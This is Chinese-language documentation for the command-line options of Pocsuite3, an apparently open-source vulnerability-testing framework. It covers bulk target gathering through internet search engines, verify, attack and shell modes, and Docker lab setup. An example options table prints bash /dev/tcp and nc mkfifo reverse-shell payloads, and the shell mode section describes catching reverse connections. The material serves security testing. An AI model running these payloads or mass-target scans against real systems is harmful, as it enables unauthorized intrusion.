Skip to content

pocsuite 命令行参数说明

也可参考《架构简析》,其中对大部分重要参数做了标注。

目标加载

-u / --url

加载单个 URLCIDR,支持 IPv4 / IPv6。

pocsuite -r poc.py -u https://example.com
pocsuite -r poc.py -u fd12:3456:789a:1::/120
pocsuite -r poc.py -u 172.16.218.1/24
pocsuite -r poc.py -u "https://[fd12:3456:789a:1::f0]:8443/test"

-f / --file

从文件中加载多个 URLCIDR,每行一个。如果遇到以 # 开头的行,会跳过该行。

# this is url.txt
172.16.218.1/24
https://example.com
# localhost
pocsuite -r poc.py -f url.txt

-p / --ports

URLCIDR 添加额外端口,格式:[协议:]端口, 协议是可选的,多个端口间以 , 分隔。

例如:pocsuite -r poc.py -u 172.16.218.1/31 -p 8080,https:8443 会加载以下目标。

172.16.218.0
172.16.218.0:8080
https://172.16.218.0:8443
172.16.218.1
172.16.218.1:8080
https://172.16.218.1:8443

-s

使用-s 参数可以不加载 target 本身的端口,只使用 -p 提供的端口。

例如:pocsuite -r poc.py -u 172.16.218.1/31 -p 8080,https:8443 -s 会加载以下目标。

172.16.218.0:8080
https://172.16.218.0:8443
172.16.218.1:8080
https://172.16.218.1:8443

--dork / --dork-zoomeye / --zoomeye-token

通过 ZoomEye API 批量获取测试目标。

首次使用会提示输入 ZoomEye API Key,验证可用后会保存到 $HOME/.pocsuiterc 文件中,除非 token 过期,下次使用不会重复询问,也可使用 --zoomeye-token 参数提供。

单页检索数量为 20,可使用 --max-page 控制检索的页数(下同)。

pocsuite -r poc.py --dork 'app:"Apache httpd"'

...
ZoomEye API token: (input will hidden)
[16:13:14] [INFO] [PLUGIN] ZoomEeye search limit 1000
[16:13:14] [INFO] [PLUGIN] try fetch targets from zoomeye with dork: app:"Apache httpd"
[16:13:18] [INFO] [PLUGIN] got 20 target(s) from zoomeye
[16:13:18] [INFO] pocsusite got a total of 20 tasks
[16:13:18] [INFO] starting 20 threads
...

--dork-shodan / --shodan-token

通过 Shodan API 批量获取测试目标。

首次使用会提示输入 Shodan API key,验证可用后会保存到 $HOME/.pocsuiterc 文件中,除非 token 过期,下次使用不会重复询问,也可使用 --shodan-token 参数提供。单页检索数量为 100

pocsuite -r poc.py --dork-shodan '"<title>Vigor 300B</title>"'

...
[16:26:52] [INFO] {"member": true, "credits": 8, "display_name": null, "created": "***"}
[16:26:52] [INFO] [PLUGIN] shodan credits limit 8
[16:26:52] [INFO] [PLUGIN] try fetch targets from shodan with dork: "<title>Vigor 300B</title>"
[16:26:57] [INFO] [PLUGIN] got 100 target(s) from shodan
[16:26:57] [INFO] pocsusite got a total of 100 tasks
[16:26:57] [INFO] starting 100 threads
...

--dork-fofa / --fofa-user / --fofa-token

通过 Fofa API 批量获取测试目标。

首次使用会提示输入 Fofa user emailFofa API Key,验证可用后会保存到 $HOME/.pocsuiterc 文件中,除非 token 过期,下次使用不会重复询问,也可使用 --fofa-user--fofa-token 参数提供。单页检索数量为 100

pocsuite -r poc.py --dork-fofa 'thinkphp'

...
[16:33:23] [INFO] {"error":false,"email":"***","username":"***","fcoin":48,"isvip":true,"vip_level":2,"is_verified":false,"avatar":"https://nosec.org/missing.jpg","message":"","fofacli_ver":"4.0.3","fofa_server":true}
[16:33:23] [INFO] [PLUGIN] try fetch targets from Fofa with dork: thinkphp
[16:33:25] [INFO] [PLUGIN] got 88 target(s) from Fofa
[16:33:25] [INFO] pocsusite got a total of 88 tasks
[16:33:25] [INFO] starting 88 threads

--dork-quake / --quake-token

通过 Quake API 批量获取测试目标。

首次使用会提示输入 Quake API key,验证可用后会保存到 $HOME/.pocsuiterc 文件中,除非 token 过期,下次使用不会重复询问,也可使用 --quake-token 参数提供。单页检索数量为 10

pocsuite -r poc.py --dork-quake 'app:"F5_BIG-IP"'
...
[16:40:43] [INFO] [PLUGIN] try fetch targets from Quake with dork: app:"F5_BIG-IP"
[16:40:49] [INFO] [PLUGIN] got 10 target(s) from Quake
[16:40:49] [INFO] pocsusite got a total of 10 tasks
[16:40:49] [INFO] starting 10 threads
...

--dork-hunter / --hunter-token

通过 Hunter API 批量获取测试目标。

首次使用会提示输入 Hunter API key,验证可用后会保存到 $HOME/.pocsuiterc 文件中,除非 token 过期,下次使用不会重复询问,也可使用 --hunter-token 参数提供。单页检索数量为 20

pocsuite -r poc.py --dork-hunter 'web.title="Vigor 2960"'
...
[16:48:09] [INFO] [PLUGIN] Hunter credits limit 今日剩余积分:499
[16:48:09] [INFO] [PLUGIN] try fetch targets from Hunter with dork: web.title="Vigor 2960"
[16:48:29] [INFO] [PLUGIN] got 20 target(s) from Hunter
[16:48:29] [INFO] pocsusite got a total of 20 tasks
[16:48:29] [INFO] starting 20 threads
...

--dork-censys / --censys-uid / --censys-secret

通过 Censys API 批量获取测试目标。

首次使用会提示输入 Censys API IDCensys API SECRET,验证可用后会保存到 $HOME/.pocsuiterc 文件中,除非 token 过期,下次使用不会重复询问,也可使用 --censys-uid--censys-secret 参数提供。单页检索数量为 50

pocsuite -r poc.py --dork-censys 'thinkphp'
...
[16:55:29] [INFO] [PLUGIN] Censys login success, email: ***
[16:55:29] [INFO] [PLUGIN] Censys credits limit 248
[16:55:29] [INFO] [PLUGIN] try fetch targets from censys with dork: thinkphp
[16:55:32] [INFO] [PLUGIN] got 255 target(s) from Censys
[16:55:32] [INFO] pocsusite got a total of 255 tasks
[16:55:32] [INFO] starting 150 threads
...

WARNING

  1. 部分搜索引擎检索的数据无协议字段,或是字段不准确。
  2. 不同搜索引擎的 dork 语法不一样,确保提供正确的 dork。
  3. 如果 dork 有特殊字符,不方便在终端输入,可以 base64 格式提供,并添加 --dork-b64 参数。
  4. 可通过 --search-type web/host 限定搜索网站还是主机,部分搜索引擎没有对二者进行区分。

PoC 脚本加载

-r

指定一个或多个 PoC 路径(或目录),如果提供的是目录,框架将遍历目录然后加载所有符合条件的 PoC。多个路径或目录之间用空格分隔。

# 加载单个 PoC 文件
pocsuite -r ecshop_rce.py

# 加载多个 PoC 文件
pocsuite -r pocsuite3/pocs/ecshop_rce.py pocsuite3/pocs/thinkphp_rce.py pocsuite3/pocs/wd_nas_login_bypass_rce.py

# 从目录加载
pocsuite -r pocsuite3/pocs

# 加载 nuclei template
pocsuite -r ./nuclei-templates/cves/2020/CVE-2020-14883.yaml

-k

指定关键词(支持正则)对 PoC 进行筛选,如组件名称、CVE 编号等。如果我们确认了目标组件,就可以用 -k 选项找到所以对应的 PoC 对目标进行批量测试。如果只提供了 -k 选项,-r 默认为 Pocsuite3 自带的 pocsuite3/pocs 目录。

pocsuite -r ./pocsuite3/pocs -k thinkphp
...
[17:11:05] [INFO] loading PoC script './pocsuite3/pocs/thinkphp_rce.py'
[17:11:06] [INFO] loading PoC script './pocsuite3/pocs/thinkphp_rce2.py'
...

--vul-keyword / --ssv-id / --seebug-token

通过 Seebug API 读取指定组件或者类型的漏洞的 PoC。

首次使用会提示输入 Seebug API key,验证可用后会保存到 $HOME/.pocsuiterc 文件中,除非 token 过期,下次使用不会重复询问,也可使用 --seebug-token 参数提供。

# 通过关键词加载
pocsuite --vul-keyword redis

# 通过漏洞编号加载
pocsuite --ssv-id 89715

运行控制

--threads

线程池大小控制,默认为 Min(150, 目标总数)

--pcap

在运行 PoC 时使用 --pcap 参数,可以将通信流量保存为 pcap 文件。

通过 wireshark 打开该文件进行流量分析。

--verify

验证模式,执行 PoC 脚本的 _verify() 方法, 进行漏洞验证。

--attack

攻击模式,执行 PoC 脚本的 _attack() 方法,具体表现取决于方法的实现。

--shell / --lhost / --lport / --tls

shell 模式,执行 PoC 脚本的 _shell() 方法,控制台会进入 shell 交互模式执行命令及获取输出。

Pocsuite3 在 shell 模式会默认监听本机的 6666 端(可通过 --lhost--lport 修改),编写对应的攻击代码,让目标执行反向连接运行 Pocsuite3 系统 IP 的 6666 端口即可得到一个 shell。

如果要启用 TLS 监听器(如 openssl 的反连 shell),可使用 --tls 参数。

TIP

在 PoC 脚本中,attack 模式和 shell 模式的实现是可选的, 如果不指定运行模式,默认是 verify。

网络控制

--proxy / --proxy-cred

全局 HTTP/HTTPS/SOCKS 代理,支持的协议类型有:http、https、socks4、socks5、socks5h。

pocsuite -r poc.py -u https://www.baidu.com --proxy socks5://127.0.0.1:9150

如果代理需要认证,可使用参数 --proxy-cred name:password 提供。

--timeout

全局超时设置,默认为 10s。需要注意的是,如果某请求本身设置了超时,则会以请求本身的为准,不会覆盖。

--user-agent

HTTP 请求的 User-Agent 设置,默认为随机。

-http-debug

HTTP 的 Debug 信息,默认等级为 0

--session-reuse

启用 session 重用

--session-reuse-num

session 重用数量

其他网络请求控制选项还有:--cookie--host--referer--retry--delay--headers,此处不再一一赘述。

DNSLog 服务

--ceye-token

通过 CEye API 辅助验证盲打 HTTP/DNS 请求。

首次使用会提示输入 CEye API key,验证可用后会保存到 $HOME/.pocsuiterc 文件中,除非 token 过期,下次使用不会重复询问,也可使用 --ceye-token 参数提供。

--oob-server / --oob-token

通过 Interactsh API 辅助验证盲打 HTTP/DNS 请求。

Interactsh 是知名开源软件组织 projectdiscovery 开发的一款 DNSLog 工具,和 CEye 类似。Pocsuite3 从 1.8.8 版本开始集成了 interactsh,给用户更多选择。

通过 --oob-server 可指定自定义的 Interactsh 服务器地址,默认为 interact.sh,如果需要认证,可通过参数 --oob-token 提供。

Docker 控制

在 v2.0.6 版本中引入了 Docker 漏洞环境搭建,具体实现方法为:在 PoC 添加 dockerfile 字段

class DemoPOC(POCBase):
    vulID = ''  # ssvid
    version = '1.0'
    author = ['']
    vulDate = '2029-5-8'
    createDate = '2019-5-8'
    updateDate = '2019-5-8'
    references = ['']
    name = 'Struts2 045 RCE CVE-2017'
    appPowerLink = ''
    appName = 'struts2'
    appVersion = ''
    vulType = ''
    desc = '''S2-045:影响版本Struts 2.3.20-2.3.28(除了2.3.20.3和2.3.24.3)'''
    samples = []
    category = POC_CATEGORY.EXPLOITS.WEBAPP
    dockerfile = '''FROM isxiangyang/struts2-all-vul-pocsuite:latest'''

--docker-start

指定该参数会从 PoC 中获取 Dockerfile 并构建容器

--docker-port

端口映射,与 Docker 官方提供的映射一样,--docker-port 8080:8080

--docker-volume

挂载 host 文件,使用方法为:--docker-volume /host/file:/container/file

--docker-env

设置容器的环境变量,使用方法为 --docker-env NAME=VALUE

--docker-only

只启动 Docker 环境不实用 PoC 进行验证。

Web Hook

扫描完成使用 钉钉 和 企业微信 进行通知

--dingtalk-token

钉钉的 token

--dingtalk-secret

钉钉的 secret

--wx-work-key

企业微信的 Web Hook key

自定义的参数

--options

有的 PoC 脚本需要填写登录信息,或者任意命令执行时执行用户指定的命令。可在 PoC 中自定义参数,可参见:可自定义参数的 PoC

使用 --optioins 参数可以很方便的查看某 PoC 的自定义参数信息,如下:

pocsuite -k ecshop --options

[17:27:24] [INFO] loading PoC script '**/lib/python3.9/site-packages/pocsuite3-1.9.6-py3.9.egg/pocsuite3/pocs/ecshop_rce.py'

Module (pocs_ecshop_rce) options:
+-------------+------------------------------------------+--------+--------------------------------------------------------------------------+
|     Name    |             Current settings             |  Type  |                               Description                                |
+-------------+------------------------------------------+--------+--------------------------------------------------------------------------+
|   command   |                  whoami                  | String |                             攻击时自定义命令                             |
| app_version |                   Auto                   | Select |                           目标版本,可自动匹配                           |
|   payload   | bash -c 'sh -i >& /dev/tcp/{0}/{1} 0>&1' |  Dict  | nc:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {0} {1} >/tmp/f |
|             |                                          |        |              bash:bash -c 'sh -i >& /dev/tcp/{0}/{1} 0>&1'               |
|             |                                          |        |                                                                          |
|             |                                          |        |          You can select dict_keys(['nc', 'bash']) ,default:bash          |
+-------------+------------------------------------------+--------+--------------------------------------------------------------------------+

[*] shutting down at 17:27:24

结果汇总

-v / --ppt

控制台日志获取结果,-v 用于控制日志等级,--ppt 可以将 IP 地址马赛克处理,方便录屏。

pocsuite -k ecshop -u 127.0.0.1 -v 2 --ppt
...
[17:47:51] [INFO] loading PoC script 'pocsuite3/pocs/ecshop_rce.py'
[17:47:51] [INFO] pocsusite got a total of 1 tasks
[17:47:51] [DEBUG] pocsuite will open 1 threads
[17:47:51] [INFO] running poc:'Ecshop 2.x/3.x Remote Code Execution' target '*.*.0.1'
[17:47:54] [INFO] Scan completed,ready to print

+------------+--------------------------------------+--------+-----------+---------+--------+
| target-url |               poc-name               | poc-id | component | version | status |
+------------+--------------------------------------+--------+-----------+---------+--------+
| *.*.0.1    | Ecshop 2.x/3.x Remote Code Execution | 97343  |   ECSHOP  | 2.x,3.x | failed |
+------------+--------------------------------------+--------+-----------+---------+--------+
success : 0 / 1
...

-o / --output

将结果保存为 JSON Lines 格式文件。

其他

--update

检查上游最新版本。

➜ pocsuite --update

,------.                        ,--. ,--.       ,----.   {1.9.6-706acc1}
|  .--. ',---. ,---.,---.,--.,--`--,-'  '-.,---.'.-.  |
|  '--' | .-. | .--(  .-'|  ||  ,--'-.  .-| .-. : .' <
|  | --'' '-' \ `--.-'  `'  ''  |  | |  | \   --/'-'  |
`--'     `---' `---`----' `----'`--' `--'  `----`----'   https://pocsuite.org
[*] starting at 20:18:19

[20:18:19] [INFO] Checking the latest version number of pocsuite3 on pypi
[20:18:19] [INFO] Current upstream version: 1.9.6
...

--version

输出当前安装的 Pocsuite3 的版本。

-n / --new

生成 PoC 模版,可参考:实战 PoC 开发

-c

通过配置文件提供所有参数,格式可见:pocsuite.ini 配置文件参数说明

--plugins

加载执行自定义的插件,详情可见:插件编写

--rule / --rule-req / --rule-filename

导出 PoC 脚本中的 suricata 规则(需要在 PoC 属性中定义 suricata_requestsuricata_respons)。

--no-check

禁用 URL HTTP/HTTPS 协议自动纠正和蜜罐检查。

Released under the GPLv2 License.